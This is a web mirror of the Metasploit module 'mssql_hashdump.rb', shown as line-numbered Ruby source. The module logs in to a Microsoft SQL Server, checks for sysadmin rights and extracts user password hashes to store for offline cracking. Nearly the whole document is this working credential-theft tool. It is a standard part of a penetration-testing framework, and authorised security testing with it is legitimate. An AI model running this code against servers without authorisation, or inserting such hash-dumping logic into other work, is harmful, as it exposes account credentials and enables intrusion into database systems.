Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/mssql/mssql_hashdump.rb
19515 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::MSSQL
8
include Msf::Auxiliary::Report
9
include Msf::Auxiliary::Scanner
10
include Msf::OptionalSession::MSSQL
11
12
def initialize
13
super(
14
'Name' => 'MSSQL Password Hashdump',
15
'Description' => %Q{
16
This module extracts the usernames and encrypted password
17
hashes from a MSSQL server and stores them for later cracking.
18
This module also saves information about the server version and
19
table names, which can be used to seed the wordlist.
20
},
21
'Author' => ['theLightCosine'],
22
'License' => MSF_LICENSE
23
)
24
end
25
26
def run_host(ip)
27
if session
28
set_mssql_session(session.client)
29
elsif !mssql_login(datastore['USERNAME'], datastore['PASSWORD'])
30
info = self.mssql_client.initial_connection_info
31
if info[:errors] && !info[:errors].empty?
32
info[:errors].each do |err|
33
print_error(err)
34
end
35
end
36
return
37
end
38
39
service_data = {
40
address: ip,
41
port: mssql_client.peerport,
42
service_name: 'mssql',
43
protocol: 'tcp',
44
workspace_id: myworkspace_id
45
}
46
47
credential_data = {
48
module_fullname: self.fullname,
49
origin_type: :service,
50
private_data: datastore['PASSWORD'],
51
private_type: :password,
52
username: datastore['USERNAME']
53
}
54
55
if datastore['USE_WINDOWS_AUTHENT']
56
credential_data[:realm_key] = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN
57
credential_data[:realm_value] = datastore['DOMAIN']
58
end
59
credential_data.merge!(service_data)
60
61
credential_core = create_credential(credential_data)
62
63
login_data = {
64
core: credential_core,
65
last_attempted_at: DateTime.now,
66
status: Metasploit::Model::Login::Status::SUCCESSFUL
67
}
68
login_data.merge!(service_data)
69
70
is_sysadmin = mssql_query(mssql_is_sysadmin())[:rows][0][0]
71
72
unless is_sysadmin == 0
73
login_data[:access_level] = 'admin'
74
end
75
76
create_credential_login(login_data)
77
78
# Grabs the Instance Name and Version of MSSQL(2k,2k5,2k8)
79
instance_info = mssql_query(mssql_enumerate_servername())[:rows][0][0].split('\\')
80
instancename = instance_info[1] || instance_info[0]
81
print_status("Instance Name: #{instancename.inspect}")
82
version = mssql_query(mssql_sql_info())[:rows][0][0]
83
version_year = version.split('-')[0].slice(/\d\d\d\d/)
84
85
unless is_sysadmin == 0
86
mssql_hashes = mssql_hashdump(version_year)
87
unless mssql_hashes.nil? || mssql_hashes.empty?
88
report_hashes(mssql_hashes, version_year)
89
end
90
end
91
end
92
93
# Stores the grabbed hashes as loot for later cracking
94
# The hash format is slightly different between 2k and 2k5/2k8
95
def report_hashes(mssql_hashes, version_year)
96
case version_year
97
when "2000"
98
hashtype = "mssql"
99
when "2005", "2008"
100
hashtype = "mssql05"
101
else
102
hashtype = "mssql12"
103
end
104
105
this_service = report_service(
106
:host => mssql_client.peerhost,
107
:port => mssql_client.peerport,
108
:name => 'mssql',
109
:proto => 'tcp'
110
)
111
112
service_data = {
113
address: ::Rex::Socket.getaddress(mssql_client.peerhost, true),
114
port: mssql_client.peerport,
115
service_name: 'mssql',
116
protocol: 'tcp',
117
workspace_id: myworkspace_id
118
}
119
120
mssql_hashes.each do |row|
121
next if row[0].nil? or row[1].nil?
122
next if row[0].empty? or row[1].empty?
123
124
username = row[0]
125
upcase_hash = "0x#{row[1].upcase}"
126
127
credential_data = {
128
module_fullname: self.fullname,
129
origin_type: :service,
130
private_type: :nonreplayable_hash,
131
private_data: upcase_hash,
132
username: username,
133
jtr_format: hashtype
134
}
135
136
credential_data.merge!(service_data)
137
138
credential_core = create_credential(credential_data)
139
140
login_data = {
141
core: credential_core,
142
status: Metasploit::Model::Login::Status::UNTRIED
143
}
144
145
login_data.merge!(service_data)
146
login = create_credential_login(login_data)
147
148
print_good("Saving #{hashtype} = #{username}:#{upcase_hash}")
149
end
150
end
151
152
# Grabs the user tables depending on what Version of MSSQL
153
# The queries are different between 2k and 2k/2k8
154
def mssql_hashdump(version_year)
155
is_sysadmin = mssql_query(mssql_is_sysadmin())[:rows][0][0]
156
157
if is_sysadmin == 0
158
print_error("The provided credentials do not have privileges to read the password hashes")
159
return nil
160
end
161
162
case version_year
163
when "2000"
164
results = mssql_query(mssql_2k_password_hashes())[:rows]
165
else
166
results = mssql_query(mssql_2k5_password_hashes())[:rows]
167
end
168
169
return results
170
end
171
end
172
173